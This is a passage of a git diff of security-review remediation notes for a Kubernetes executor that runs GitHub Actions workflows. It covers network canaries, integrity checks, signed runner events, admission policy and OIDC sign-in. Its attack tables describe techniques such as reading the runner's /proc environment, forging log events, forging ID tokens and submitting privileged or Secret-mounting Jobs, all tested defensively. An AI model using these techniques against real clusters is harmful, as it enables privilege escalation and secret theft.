+ - `GET` and `POST network-check` are added. +- **Modes:** + - `github-blocked` is refused with an explanation. + - `egress` is refused unless `network.allowEgressMode` is set and its canary passes. + - Egress is labelled "NOT isolated" in the UI and execution records. +- **Defense in depth only:** `hostAliases` and DNS removal stay, but are no longer described as the boundary. The runner's own hostname probe is labelled "not proof". + +**Attack tests:** + +| Attack | Before | After | +|---|---|---| +| Isolated runner reaches a raw IP (`1.1.1.1:443`), the API server, metadata and internal services on a non-enforcing cluster (kindnet), simulated in unit tests | Execution ran (raw-IP egress demonstrated on minikube) | Canary verdict "not-enforced", naming every reached target; isolated execution refused (409); no Job created | +| A single leak (metadata only) | n/a | "not-enforced" | +| Broken network (control can't connect) | n/a | "unverified"; refused, never "enforced" | +| Canary that hangs or prints garbage | n/a | "unverified"; refused | +| `github-blocked` mode (cluster DNS, everything but GitHub's names reachable) | Allowed and described as blocking GitHub | 422 "was removed … was not isolated" | +| Egress mode on a cluster that leaks the API server | n/a | 409 with the leaking target | + +The canary script's detection was checked in the runner image: +- **No network:** every target unreachable (`ENETUNREACH`). +- **Podman bridge network:** `1.1.1.1:443` **reachable**, which is exactly what makes the executor refuse. + +**Regression tests:** +- `tests/unit/emergency-executor.test.ts`: "network isolation gate" (5 tests) and "the network canary" (7 tests). +- `tests/e2e/emergency.spec.ts`: unproven isolation is shown, and executions are refused. + +**What remains:** +- **Positive run on an enforcing cluster:** done. See "Live validation on gha-sec" below. +- **Canary coverage.** The canary proves the policy for one node, the executor's, where runners are pinned. It tests one external IP, the API server ClusterIP and the metadata IP. It doesn't enumerate every address. +- **Executor egress** (ports 443/6443/8443 to any address) is unchanged; it's part of H4 and M3. +- **Policy changes between checks.** A policy removed after a check is caught at the next check, up to 15 minutes later. + +### Live validation on `gha-sec` (Calico), 2026-10-30 + +**Environment:** +- A separate minikube profile, `gha-sec`: Podman driver, CRI-O, Kubernetes v1.35.0, Calico, 2 CPUs, 2,560 MB. +- `--keep-context` was used; kubectl's context stayed `minikube` throughout. +- Images tagged `:c1c2` were loaded into `gha-sec` only. +- **Credentials:** synthetic, randomly generated (`DEMO_SIGNING_KEY` and a decoy `OTHER_TEAM_TOKEN` in the same Secret). Never printed; the local copies were deleted after the tests. +- **The existing `minikube` profile was not modified.** It stayed at release revision 2, with its original policies and `:local` images. + +**Startup:** +- The first two `minikube start` attempts failed, which is the Podman driver's flakiness, not this code: + - first, the Podman socket connection was "forcibly closed"; + - second, a `gha-sec` volume left over from the first attempt. +- Only `gha-sec` artifacts were removed between attempts (`minikube delete -p gha-sec`). +- The existing cluster stayed up. Its four crash-looping pods (`rag-service`, `grafana`) predate this work: 4,000–8,800 restarts. + +| # | Check | Result | +|---|---|---| +| 1 | Calico health | `calico-node` and `calico-kube-controllers` ready; 22 Calico CRDs; IP pool 10.244.0.0/16 | +| 2 | Canary verdict | **enforced**. (The very first startup check was "unverified", a race described below, now fixed.) | +| 3 | Runner pods blocked: external IP, Kubernetes API, metadata, internal service | Canary probe: all 4 blocked (time-outs). Independent comparison: a pod with the runner labels was blocked from **10 of 10** targets; an otherwise identical pod without them reached **9 of 10**. Targets: 1.1.1.1:443, 8.8.8.8:53, API ClusterIP 10.96.0.1:443, API on the node 192.168.58.2:8443, kubelet :10250, executor Service and pod IP, cluster DNS Service and CoreDNS pod. The exception is metadata 169.254.169.254, unreachable from both pods: **metadata blocking is not provable on minikube** | +| 4 | Control reaches its service | Yes: TCP connection to the executor Service established | +| 5 | Unrelated Secret keys | From inside a real execution of an attack snapshot: only `DEMO_SIGNING_KEY` was mounted, and `OTHER_TEAM_TOKEN` was "not mounted" though it is in the same Secret. The admitted Job projects `items: [DEMO_SIGNING_KEY]` only. Neither value appeared in the results, raw or reversed | +| 5a | Direct-IP attack from a real execution | All 8 targets blocked. `github.com` resolves only to 127.0.0.1; `example.com` doesn't resolve | +| 5b | API refusals before binding | Unbound snapshot, a named operator Secret, a named `demo-secrets`: all 422; no Job created | +| 5c | Install guards (server-side dry runs) | Binding the operator Secret refused; an unrelated Secret in the namespace refused; release revision unchanged | +| 6 | Demo snapshot runs | Live browser test phase 2 passed: 5 jobs in order, success, isolation recorded as verified by the canary, no secret value on the page | +| 7 | Refusal when enforcement can't be proven | Runner deny-all policy deleted in `gha-sec` → forced check "not-enforced" (reached external-ip, kubernetes-api, internal-service) → execution **refused (409)**, no Job created. Policy restored with `helm upgrade` → "enforced" again | + +**Found and fixed during the live run:** +- **Verdict caching and startup race.** The startup check ran before the executor's Service had a ready endpoint, so the control was refused ("unverified"). That verdict was then cached for 15 minutes, which would have refused every execution for that long. + - Fix: only an "enforced" verdict is reused for the full age; others are reused for 30 seconds. The first check is delayed 20 seconds. + - Regression test: "reuses a failed result only briefly". + - Re-deployed to `gha-sec`: the startup check reached "enforced" on its own. +- **Impossible documented order.** The docs said to create the Secret before installing. The dedicated-namespace check (correctly) refuses any unbound Secret, and a binding needs a digest that exists only after preparation. + - Corrected order: install with no Secrets, prepare, then create and bind the Secret. + - The check itself was not weakened. +- **Live browser test split in two phases** (prepare, then run a bound digest), for the same reason. + +**Still not shown:** +- metadata blocking on a real cloud; +- multi-node clusters; +- other network plugins (Cilium); +- policy tampering between checks (detected at most 15 minutes later); +- the open findings H1–H4 and M1–M7. + +### H1 — remediated 2026-10-30 (committed in the checkpoint through H2, not deployed) + +**Two separate concepts:** +- **Content integrity** is proven offline by the executor and runner. +- **Provenance** (is that content the claimed commit of the claimed repository on GitHub?) can only be answered by GitHub. It is checked live in the browser, shown as verified, failed or unverified, and never stored by or trusted by the executor. + +**Changes:** +- **Git object IDs** (`src/emergency/git-objects.ts`). Each file records the Git blob ID GitHub reported for it. Each root records its Git tree ID, and whether it is complete (every file of the tree packaged, no symlinks or submodules). The tree-ID computation is checked against the `git` binary. +- **Server-side validation** (`src/emergency/revalidate.ts`). The same resolver is re-run over the packaged files alone. An upload is refused (422 `manifest-mismatch`) if its roots, workflows, actions, requirements, files or totals differ from what the files produce, or if it under-reports errors. + - **Executability** is the executor's verdict: its own errors, plus any the uploader declared, which can only make it stricter. + - **Content integrity per root:** `tree-verified` (a complete root's tree ID recomputed from the content), `blobs-verified` (a partial root), or `unverified` (a snapshot from before H1). +- **Storage** (`store.ts`): the record now holds the executor's `validation` and `integrity`. Snapshots stored before H1 are validated on first use, and the result is kept in `validations/.json`. +- **Executions** are gated on the executor's verdict (`api.ts`), no longer on the manifest's self-reported diagnostics. +- **The runner** re-runs the validation from its mounted files before any step (defense in depth against a compromised executor). +- **Name ownership:** a later version of a name must claim the same repository as its first version (422 `name-owned`). Secret bindings name exact digests (C1), so **a new version never inherits authorization**. +- **UI:** + - the validation shown is the executor's; + - the source is labelled "claimed by the uploader"; + - "Content integrity (checked by the executor, offline)" is a separate section; + - "Provenance on GitHub" starts as "not checked — unverified" and has a **Check against GitHub** button (`src/emergency/provenance.ts`: `GET /git/commits/{sha}`, plus `GET /git/trees/{sha}` for partial roots). +- **Fixture GitHub** now reports real Git tree IDs and serves `GET /git/commits/{sha}`. + +**Attack tests:** + +| Attack | Before | After | +|---|---|---| +| The review's forgery: errors stripped and `acme/production-deploy@ffff…` claimed | Stored as executable | 422 `manifest-mismatch` ("could not rebuild", "under-reports validation errors"); nothing stored | +| Errors stripped only | Stored as executable | 422 "under-reports validation errors". Written straight to storage: the runner refuses before any job | +| Added or removed secret requirement; renamed job; changed action type; changed root ref; changed totals | Accepted | Mismatch, not executable | +| Altered file | sha256 caught it | Still caught; with a recomputed sha256, the **Git blob ID** catches it | +| Altered file with a forged blob ID | n/a | The **Git tree ID** of the complete root doesn't match: mismatch | +| Wrong or invalid Git IDs | n/a | Refused structurally, or a mismatch | +| Claimed commit whose GitHub tree differs; commit missing; forged repository | Not checkable | Provenance **failed** (shown in the UI) | +| Partial root with one file differing from GitHub | n/a | Provenance **failed**, naming the file | +| Another repository adding a version under an existing name | Got the next version | 422 `name-owned` | +| A new version of a bound snapshot | n/a | Gets no Secret (binding is by digest) | + +**Regression evidence:** +- **The real s16 snapshot** (`73b2a989…`, prepared live before H1, copied read-only from `gha-sec`): it re-validates with no problems and no mismatches, as executable, with integrity `unverified` (it predates Git IDs). Checked both on the host and inside the runner image. +- **Tests:** + - `src/emergency/git-objects.test.ts` (2, one against the `git` binary); + - `revalidate.test.ts` (9); + - `provenance.test.ts` (6); + - "security review H1" in `tests/unit/emergency-executor.test.ts` (6); + - the runner scenario "a forged manifest written straight to storage is refused"; + - the browser test checks integrity, the "unverified" default, and a **verified** provenance check. + +**What remains:** +- **Provenance is checked, not enforced.** The executor still runs a content-verified snapshot whose provenance nobody checked. Requiring a recorded provenance attestation needs trusted identities (H2): a browser's claim can't be trusted as-is. +- **Trusting GitHub:** commit-to-tree checks trust GitHub's API and SHA-1 Git IDs. +- **Partial roots and old snapshots:** roots packaged partially (supporting-file prefixes, symlinks, submodules) get blob-level integrity only. Snapshots from before H1 have none. +- **Name ownership** is anchored to the *claimed* repository of a name's first version, and doesn't identify uploaders (H2). + +### H3 — remediated 2026-10-30 (committed in the checkpoint through H2, not deployed) + +**Root cause:** +- Steps ran as the runner's user, and the runner (PID 1) was an ordinary dumpable process, so any step could write to `/proc/1/fd/1` (the event channel) and read `/proc/1/environ`. +- The executor accepted any line *containing* the event prefix, with no authentication. +- A run's result was whatever the log said. + +**Reproduced before the fix** (the attack workflow below, against the H1 runner image): +- writing the runner's stdout and stderr, listing its files, and reading its environment and memory map were all **allowed**; +- the old parser accepted 2 forged `execution-end` events, and **reported success for a failing run**; +- the signals the workflow sent killed the runner (exit 140). + +**Changes:** +- **Runner out of the workflow's reach** (`runner/main.ts`, Dockerfile, `job-spec.ts`): + - the runner starts from an execute-only, root-owned copy of node (`/usr/local/libexec/gha-emergency-runner-node`, mode 0111), which makes it non-dumpable; + - it runs as PID 1 with `--disable-sigusr1`; + - it refuses to start unless its `/proc` entries are root-owned. + - No user switching and no capabilities: pod security is unchanged. +- **Authenticated, chained events** (`src/emergency/event-stream.ts`, `runner/event-signer.ts`): + - a per-execution 32-byte key, generated by the executor and passed only in the runner's Job environment; + - removed from the runner's environment at start; steps get their own minimal environment; + - each line is `prefix `. +- **Result derivation** (`judgeExecution`): + - only events up to the first unauthentic line are believed; + - a finished run needs the authentic final event; + - the reported result must match the runner container's exit code (archived with the log); + - otherwise the result is **error**. + - Executions from before H3 (no key) are shown as unverifiable. +- **Untrusted text** (`engine.ts`): + - everything emitted from workflow-controlled text is masked, then sanitized (control characters, ANSI escapes, bidirectional and invisible characters escaped); + - data passed between steps and jobs is unchanged; + - annotations are tagged `source: "workflow"`. +- **UI:** + - "Runner's events: authenticated (N events, complete)", or FAILED, or not verifiable; + - the runner exit code; + - every log line labelled `runner`, `out` or `err` in a gutter the workflow's text can't fill; + - workflow annotations labelled as such. +- **Removed** `parseEventLine`, the unauthenticated "contains the prefix" parser. + +**Attack tests:** + +| Test | Where | Result | +|---|---|---| +| A hostile workflow through the real entrypoint (PID 1, execute-only node, uid 1000, read-only, no capabilities, no network) | `tools/emergency/runner-attack-check.ts`, runner image | 26/26 PASS | +| Writes to `/proc/1/fd/1` and `fd/2`; reads of its fds, environment, memory map and memory; ptrace attach; the key in the step's environment | same | all **denied** | +| Signals TERM, INT, HUP, USR1, USR2, STOP and KILL to PID 1 | same | runner unaffected; the stream is complete | +| Fake `execution-end` and `job-end` lines, and fake MACs, printed to stdout and stderr, in a `post:` step and in a composite's failing step | same | kept as log data; the result is **failure** (the composite's inner step recorded with exit 5; the post step recorded) | +| Escape sequences, `\r` and RLO in output | same | shown escaped | +| The real log with an event removed, an event edited to success, a fake success appended, the stream cut, or the result edited to success; the real log with exit code 0 | same, plus `event-stream.test.ts` | all **error** | +| Unauthenticated lines; fake MACs; events signed with another execution's key; reordered events; a stream missing its start; exit-code mismatch, also after the Job is gone; key never in API responses or the audit log; legacy executions | "security review H3" in `tests/unit/emergency-executor.test.ts` (8), `event-stream.test.ts` (7), a Job spec test | pass | +| Negative control: the H3 image started with the ordinary readable node | container | the runner **refuses** (exit 2) | + +**Regression evidence:** +- **s16** (`73b2a989…`, outcome=pass) runs through the real entrypoint: + - **success**, exit 0, authenticated stream; + - composite inner steps 1 and 2 and the steps after them all succeed. +- **The runner check:** 6/6 (C1, H1, tamper and failure scenarios). +- **Browser tests** check the authenticated-stream status and the log-source labels. + +**What remains:** +- **Same user, kernel-enforced.** The protection is the kernel's non-dumpable rule. A host with `fs.suid_dumpable=1` would defeat it, so the runner refuses to start. A kernel bug in that rule would defeat it too. A separate user for steps would add a second boundary, but needs privileges the restricted pod forbids. +- **Where the key lives.** The key is visible to anyone who can read the Job or pod spec in the namespace. Those principals can already create Jobs (H4). +- **What it can't prevent:** a workflow can still disrupt its own run (exhaust memory or disk, hang until the deadline), which is reported as an error or failure, never success. Its own output, outputs and annotations are still whatever it chooses: they are labelled, not verified. +- **Log rotation.** A log larger than the kubelet's rotation size loses its beginning and is reported as an error, where it used to be read silently in part. + +### H4 — remediated 2026-11-02 (committed in the checkpoint through H2, not deployed) + +**Root cause:** +- The executor's Role grants `create jobs`. RBAC authorizes the verb and the resource, never the Job's contents, so anything holding the executor's token can create any pod spec in the namespace. +- The only thing that shaped runner Jobs was the executor's own builder, `job-spec.ts`. +- Pod Security "restricted" applies to pods only, and only to the settings it knows about (privilege, host namespaces, hostPath, capabilities, seccomp, root). It doesn't cover Secrets, service-account tokens, images, sidecars, labels or resources. + +**Reproduced before the fix** (`tools/emergency/admission-check.ts --reproduce`, with the policy's binding removed, as the executor's service account, on Kubernetes 1.35.0 with a Job controller): +- all **48 of 48** malicious Jobs were **accepted**; +- Pod Security "restricted" then admitted the pods of **36** of them, including: + - the operator-token Secret mounted, any key of the bound Secret, and the bound Secret for a snapshot it isn't bound to; + - Secrets as environment variables or `envFrom`; + - a service-account token (automounted, projected, or the executor's own account); + - another image, or the runner's own repository by mutable tag with `Always`; + - sidecars and init containers; + - another command, `NODE_OPTIONS`, exec probes; + - no runner labels, which escapes the deny-all NetworkPolicy (C2); + - unlimited resources, a GPU, a memory-backed or unbounded emptyDir, a writable snapshot volume or another claim; + - `nodeName`, tolerating every taint; + - parallelism 20 (bypassing `maxConcurrent`), retries, no deadline. +- Pod Security stopped the other 12: privileged, hostPath, host network, PID and IPC, privilege escalation, missing security contexts, root, capabilities and seccomp. A runtime class was also refused, because none existed. + +**Changes:** +- **An admission policy in the API server** (`charts/gha-emergency/templates/admission-policy.yaml`): a ValidatingAdmissionPolicy (`failurePolicy: Fail`) and a binding (`Deny`) for the release namespace. It is native Kubernetes, with no webhook or extra component. + - **What it checks.** Every Job created or changed there, by anyone, and every pod a Job owns, checked again after mutating admission. Each must be one of the shapes `job-spec.ts` builds, an execution or a network canary: + - the runner image by digest with `IfNotPresent`; + - one container, no init or ephemeral containers, the exact command, no arguments, hooks, probes or ports; + - the runner service account without a token; + - no host namespaces; + - non-root, RuntimeDefault seccomp, no privilege escalation, read-only root filesystem, all capabilities dropped, no SELinux, Windows, AppArmor or sysctl overrides; + - cpu, memory and ephemeral-storage limits within the chart's values, and no other resources; + - size-limited emptyDirs, the snapshot read-only at one digest's directory, and Secret keys that `secretBindings` give that digest. The C1 binding is now enforced by Kubernetes too; + - literal environment values from the runner's own variable list; + - the runner's NetworkPolicy labels, in an enabled network mode (C2); + - no `nodeName`, node selectors, extra tolerations, runtime or priority classes; + - backoffLimit 0, one pod, and a bounded deadline; + - and only in a namespace labelled dedicated and Pod Security "restricted". + - **Values** (image, service account, claim, bindings, limits, deadline, egress mode) are rendered from the chart's values, so the policy can't be changed through anything the executor can write. +- **The runner image by digest.** `runner.image.digest` is required (the chart fails without it), and the executor refuses to start with a runner image that isn't `repository@sha256:…`. This also addresses M7 for the runner image. +- **The executor proves enforcement** (`deploy/emergency/executor/admission-check.ts`): two server-side dry runs, with no new permission (dry runs need `create jobs`, which it already has): + - a canary Job with a hostPath volume must be denied by this policy; + - the same Job without it must be accepted. + - Executions are refused unless both hold. The result is reused for 15 minutes (30 seconds if not proven) and shown at `GET api/emergency/admission-check`. +- **Kubernetes 1.30 or later**: the chart's `kubeVersion`, and an install check that the API server serves `admissionregistration.k8s.io/v1` ValidatingAdmissionPolicy. + +**Attacks, against a real API server** (`tools/emergency/admission-check.ts`, as the executor's service account via impersonation; the legitimate Jobs come from the real builders, configured from the installed executor's environment): + +| Malicious Job | 1.35.0 | 1.30.14 | +|---|---|---| +| Privileged container; privilege escalation | Refused | Refused | +| hostPath mount | Refused | Refused | +| Host network, host PID, host IPC | Refused | Refused | +| Operator-token Secret mounted; whole bound Secret; a key it doesn't grant; for an unbound snapshot | Refused | Refused | +| Secret environment variable; Secret `envFrom` | Refused | Refused | +| Service-account token (automount; projected volume); the executor's account | Refused | Refused | +| Another image by digest; the runner's repository by mutable tag; pull policy `Always` | Refused | Refused | +| Sidecar; init container | Refused | Refused | +| Missing pod or container securityContext; root; writable root; capability added or not dropped; seccomp Unconfined | Refused | Refused | +| Excessive requests and limits; no limits; a GPU | Refused | Refused | +| Unbounded or memory-backed emptyDir; writable snapshot; whole snapshot volume; another claim; ConfigMap volume | Refused | Refused | +| Another command; extra arguments; `NODE_OPTIONS`; exec probe | Refused | Refused | +| No runner labels; egress label while egress is off | Refused | Refused | +| `nodeName`; tolerate every taint; runtime class | Refused | Refused | +| Parallelism 20; retries; no deadline | Refused | Refused | +| Canary with the snapshot mounted; canary control with a Secret | Refused | Refused | +| A cluster administrator's privileged Job | Refused | Refused | +| A Job-owned pod with an injected sidecar that Pod Security allows | Refused | not run (no Job controller) | + +Every refusal names this policy, and no refused Job was stored. + +**Legitimate Jobs accepted:** an isolated execution, an execution with its bound Secret, and the canary probe and control, on both versions. On 1.35.0 the Job controller's pod for an execution was admitted too (policy and Pod Security restricted). + +**Unchanged RBAC:** the executor still can't create Jobs in another namespace, update or patch its Jobs, or create pods directly (all refused, 403). + +**Installed is not enforced** (negative controls): +- With the namespace's dedicated label removed, a legitimate Job is refused, and the executor's check isn't "enforced". +- With the binding removed, the privileged Job is accepted (dry run): the policy, not RBAC or Pod Security, was refusing it. The executor's check reports "not-enforced". +- With the binding restored, it reports "enforced" again. + +**Totals:** 66/66 on 1.35.0 (with the Job controller), 64/64 on 1.30.14. + +**Regression evidence:** +- **Unit tests:** 601 passed, 1 skipped. New tests: + - executions are refused unless enforced, before any canary or Job; + - the check runs before every execution; + - the two probes differ only by the hostPath volume; + - "enforced", "not-enforced" and "unverified" are derived as described, and nothing is created for real; + - results are cached as described. +- **The runner check:** 6/6 (C1, H1, tamper and failure). +- **The H3 attack check:** all PASS, including s16 through the real entrypoint (success, exit 0, authenticated stream). +- **Other checks:** + - the executor image builds and loads the new modules; + - it refuses a runner image by tag at startup; + - emergency browser tests: 3 passed, 2 skipped (live); + - tsc and eslint are clean. +- **Helm:** + - install succeeds against both API servers, and an upgrade (adding a binding) against 1.35.0; + - rendering fails without a digest, and for Kubernetes 1.29. + +**What remains:** +- **Not deployed.** Neither minikube profile has the policy, and the `gha-sec` images are still pre-H1. The tested API servers had no kubelet, so the digest reference was never pulled on a node. On minikube (CRI-O, images loaded from an archive), confirm the node knows the digest before relying on it (`crictl inspecti`, see `docs/EMERGENCY_EXECUTION.md` §10). +- **Cluster administrators** can delete or edit the policy or binding. The executor would then refuse executions within 15 minutes (its next check), not instantly. +- **The policy's shape is duplicated** from `job-spec.ts` (commands, environment names). The admission check tool catches drift, but only when it is run. +- **Mutating webhooks** that add containers, volumes or environment to pods (a service mesh, AKS add-ons, Azure Policy mutations) make runner pods fail admission. Exclude the namespace from them. On AKS, ValidatingAdmissionPolicy is available from Kubernetes 1.30, and Azure Policy (Gatekeeper) may add constraints of its own. Not tested on AKS. +- **Inside the allowed shape** the executor still decides everything: which snapshot, inputs and variables an execution gets, which bound Secret keys, and the event key. A compromised executor can run any stored snapshot, with the Secret keys bound to it. That is H2's territory (who may ask the executor). +- **The canary control pod** has ordinary network access by design, but it can only run the canary script, which opens TCP connections to the targets it is given. +- **The event key (H3)** is still readable by anyone who can read Jobs or pods in the namespace. +- **ResourceQuota (L1)** is still absent. The policy bounds each Job (one pod, limits), but not their number. + +### H2 — remediated 2026-11-02 (committed in the checkpoint through H2, not deployed) + +**Before** (every route but health checked one bearer token, the same for everyone): + +| Endpoint | Authentication | Authorization | Attribution | +|---|---|---|---| +| `GET health` | none | none | — | +| snapshots: list, upload, read, verify, delete | shared token | none (anyone with the token) | none | +| executions: list, start, read (logs), stop | shared token | none | none | +| network-check, admission-check | shared token | none | none | +| Secret bindings | Helm values only | cluster administrators | none | + +- **Snapshot ownership** was the claimed repository's name, not a person. +- **No approval** existed, and the audit lines named no one. +- **The H3 event key** sat in the Job's environment, readable by anyone able to read Jobs or pods in the namespace. + +**Authentication** (`deploy/emergency/executor/auth/`): +- **OpenID Connect sign-in** (`oidc.ts`, `jwt.ts`): the authorization code flow with PKCE (S256), state and nonce, run by the executor; discovery and JWKS from the configured issuer, over HTTPS only. + - **ID token checks:** signature against the issuer's published key (by kid, matching key type, alg and use); asymmetric algorithms from an allow list (never `none` or HMAC); issuer, audience, authorized party, expiry, issued-at, not-before, maximum age and nonce. + - **Login CSRF:** a short-lived cookie binds the pending sign-in to the browser. Codes and pending sign-ins are single-use, and the return location is restricted to the emergency view. + - **Abstraction:** `IdentityProvider`, with OIDC its only implementation. `tools/emergency/dev-oidc.ts` is a local development provider, also used by the tests. +- **Sessions** (`store.ts`): 32 random bytes, a `__Host-` cookie, HttpOnly, Secure, SameSite=Strict, stored as a hash only. + - **Limits:** 8 hours absolute, 1 hour idle. + - **Revocation:** sign-out, an administrator's revocation, and disabling the user all take effect on the next request. + - **CSRF:** every API call needs `X-GHA-Emergency: 1`, and a bearer token is refused. +- **Break-glass** (off by default): named accounts, each with its own credential (a key of the former operator-token Secret). + - Roles are pinned and never administrator. + - Each sign-in needs a reason, lasts 60 minutes, and repeated failures lock the account out. + +**Authorization:** +- **Roles** (`roles.ts`): viewer, operator, approver and administrator, with an explicit permission list. Every route names its permission (`api.ts` header); visibility and ownership checks follow it. +- **Where roles come from:** the executor's records only, never token claims. Administrators change others' roles, never their own; `auth.initialAdministrators` are pinned. +- **Resources carry the authenticated identities:** `preparedBy`, `initiatedBy`, approval `decidedBy`, and every decision with its reason. +- **Restricted snapshots and their executions** are visible only to the preparer, approvers and administrators (404 otherwise). Only the preparer runs one or stores a new version of its name. +- **Secret bindings:** created only in Helm values (and pinned at admission, H4). Administrators can suspend or resume one through the API, never create or widen it. +- **Audit** (`audit.ts`): every sign-in, refusal, role change, binding change and execution step, with the acting identity, durable on the volume and on stdout. + +**Approval:** +- **When:** executions that receive a Secret or run in egress mode (default `approval.requireFor`; `restricted` and `all` are available). They wait with no Job. +- **Decision:** an approver approves or rejects exactly the `requestDigest` they reviewed: sha256 over the execution's ID, snapshot digest, workflow, inputs, variables, network mode, Secret binding (name, Secret, keys) and initiator. +- **Re-checked:** the digest is recomputed at approval and at start. A different digest, a changed or suspended binding, or expiry invalidates it. +- **Separation of duties** (default): the approver may be neither the initiator nor the preparer. +- **After approval:** the Job starts at once, or later, by its initiator only, if a cluster check refuses at that moment. +- **Harmless executions** (isolated, no Secret) start at once. + +**H3 key protection:** +- **No key exists outside the runner.** The runner generates an Ed25519 key pair at startup, in its protected (non-dumpable) memory. It writes the public key, naming its execution, as the log's first line, before any workflow process exists, and signs each event, chained. +- **Removed:** the Job's `GHA_EMERGENCY_EVENT_KEY`, and the executor's per-execution key files for new executions. The H4 policy no longer admits that variable. +- **Verification:** the executor verifies against the public key and requires it for every execution recorded since H2 (`eventAuth: ed25519`). A log that doesn't begin with that execution's key line is an error. +- **History:** executions recorded under H3 still verify with their kept key; older ones stay "not verifiable". +- **Evaluated:** delivering the key as a Kubernetes Secret volume. Rejected: workflow steps run as the runner's user and could read the mounted file, it can't be removed from a read-only volume, and the executor would need permission to create Secrets. + +**Kubernetes boundaries** (checked on the test API server): +- **Executor RBAC unchanged:** Jobs create/get/delete, pods list, pods/log get, events list; no Secrets, pods/exec, Job updates, tokens or impersonation. +- **Runner:** no permissions. +- **No direct cluster access for users:** the API exposes no Kubernetes passthrough and builds every Job itself. +- **H4:** 66/66 on Kubernetes 1.35.0 with the H2 chart and images. + +**Attack tests** (`tests/unit/emergency-executor.test.ts`, the "security review H2" blocks, through the real sign-in flow with the development provider in process; `tests/unit/emergency-auth.test.ts`): + +| Attack | Result | +|---|---| +| Unauthenticated calls to all 24 sensitive routes | 401, each audited | +| The old shared operator token as a bearer token; a missing CSRF header | 401; 403 | +| ID tokens: foreign key, `none`, HS256, other audience, other issuer, expired, future `iat`, wrong nonce, no subject, other authorized party | sign-in refused, no session, reason audited | +| Callback without this browser's sign-in, with another sign-in's state, a replayed code, a provider error, an off-site return URL | refused (return URL ignored) | +| Forged role claims (`roles`, `groups`, custom) in the ID token | roles stay empty; 403 | +| Viewer uploading, executing, verifying, deleting, running checks | 403, no Job | +| Operator calling the administrator routes | 403, audited | +| Operator suspending a binding; anyone creating or deleting one through the API | 403; 405 | +| Another user's restricted snapshot by ID, list, verify, execute, delete, same content, name | 404 / not listed / 409 / refused | +| Another user's restricted execution by ID, list, stop | 404 / not listed | +| Claimed `preparedBy`, `initiatedBy`, `approval`, `state` in requests | ignored: the session's identity is recorded | +| Approval by an operator or viewer | 403 | +| Self-approval; approval of a run of a snapshot you prepared | 403 (separation of duties) | +| Approval replay with another request's digest | 409, audited | +| Binding changed or suspended after the request or the approval; expired request | invalidated, no Job | +| Rejected execution started or approved later | 409 | +| Starting an approved execution as someone other than its initiator | 403 | +| Granting yourself a role (operator, administrator); unknown role | 403; 422 | +| Expired (idle, absolute), signed-out, revoked, disabled-user sessions | 401; a disabled user can't sign in | +| Break-glass without a reason, with a wrong credential, after five failures, past an hour; as administrator | 422 / 401 / locked out / 401; refused by the configuration | +| Reading the event key: Job spec, executor files, API responses, audit | none exists (H3 tests) | + +**Legitimate flows:** +- **Executor API:** an operator prepares, requests and follows; an approver approves and the Job starts; two break-glass accounts complete the same flow; administrators manage roles. +- **Browser:** the mocked-executor browser test signs in, prepares, requests, signs in as an approver, approves and follows the run. + +**Regression:** +- **Unit tests:** 641 passed, 1 skipped (52 files), 40 more than before H2; every earlier executor test now runs through the real sign-in. +- **Runner check:** 6/6 (C1, H1). +- **H3 attack check:** 30/30 on the H2 runner image, including the new private-key probes and key-line tampering. **s16** succeeds through the real entrypoint (exit 0, authenticated stream). +- **H4 admission check:** 66/66. +- **Images:** executor modules load in the image; it refuses invalid sign-in configuration at startup. +- **Static checks:** tsc and eslint clean. +- **Full browser regression** (2026-11-02, all 36 spec files, run in four batches of nine because a single run was stopped for low memory): **184 passed, 4 skipped, 0 failed**. The skipped tests are opt-in: the two showcase captures and the two live-executor phases, which need a real cluster. + +**What remains:** +- **An external identity provider is required.** It must not depend on GitHub, and must be registered with the executor's exact redirect URI. Roles are per user, with no directory-group mapping. +- **Root of trust:** Kubernetes cluster administrators, who install the chart, read break-glass credentials and Secrets, and can change the configuration. The API can't constrain them. +- **One executor replica:** pending sign-ins are kept in memory (a restart loses sign-ins in progress). Sessions and users are files on its volume. +- **No rate limiting** of OIDC sign-in attempts (break-glass has a lockout). +- **The browser session** is as strong as the device. Sessions end on sign-out, idle or revocation, not on changes at the identity provider (no back-channel logout). +- **Not tested with a real OpenID Connect provider** (Entra ID, Okta, Keycloak…), and not deployed. Discovery, JWKS and the code exchange are tested only against the development provider, in process. Before production: sign in through the organization's provider, including key rotation and a confidential client. +- **The ID-token verification is custom code** (`deploy/emergency/executor/auth/jwt.ts`, on Node's crypto, to avoid a dependency). It is unit-tested against forged, mis-signed and mis-claimed tokens, but needs a focused security review (or replacement by a maintained library such as `jose`) before production. diff --git a/docs/KUBERNETES_ACCESS.md b/docs/KUBERNETES_ACCESS.md new file mode 100644 index 0000000..af0399e --- /dev/null +++ b/docs/KUBERNETES_ACCESS.md @@ -0,0 +1,666 @@ +# Kubernetes access, authentication boundaries and outage recovery — proposal + +**Status:** **proposal, 2026-10-29. Nothing here is approved or implemented.** +- Approved decisions are in `docs/ARCHITECTURE.md` (A1–A12). +- **Audience:** the product's primary users are maintainers of public and open-source GitHub repositories. Kubernetes, cloud accounts and organization-run tooling are **optional contexts**: some people self-host the UI or run their own infrastructure, but the product isn't designed around them. +- **§2–§3:** options for people who choose to host the UI themselves (the "possible next steps" in the roadmap's Hosting track). +- **§4:** the primary recovery direction for maintainers: a read-only **outage impact and catch-up view** to investigate first, and a possible later **"release without Actions" preparation guide**. + - The next step is the problem-validation study in `docs/RECOVERY_VALIDATION_STUDY.md`. +- **§7–§8:** research for an **optional organization context**, where an organization wants to run recovery operations on its own infrastructure. `docs/PLATFORM_RECOVERY_DISCOVERY.md` and its brief belong to that context. +- §6 lists the decisions all of this needs. + +**Evidence notation:** as in ARCHITECTURE: +- **[O]** observed or tested in this project; +- **[V]** taken from vendor or Kubernetes documentation, cited as [Src*n*] (§7.10); +- **[A]** an assumption, not yet verified here. + +**Labels used here** (chosen so they don't collide with ARCHITECTURE's A-numbers or the project brief's D, E, R and S numbers): + +| Label | Meaning | +|---|---| +| K-1 … K-11 | Decisions this document proposes (§6). Not the hosting milestones K1–K4 in ROADMAP | +| UA-0 … UA-4 | Options for reaching the UI (§2) | +| BA-1 … BA-5 | Options for authenticating to a future backend (§3) | +| OI-1, OI-2 | The two recovery capabilities proposed for maintainers (§4) | +| PACKAGE, RUNBOOK | The two researched recovery models for the optional organization context (§7) | +| IN-REPO, SIBLING, PLATFORM | Where recovery execution could live (§8) | +| O1–O3 | Outage scenarios (§7.2) | +| RS0–RS6 | Stages of the proposed recovery roadmap (§7.9) | +| EV1–EV7 | Evidence for the Q-R1 assessment 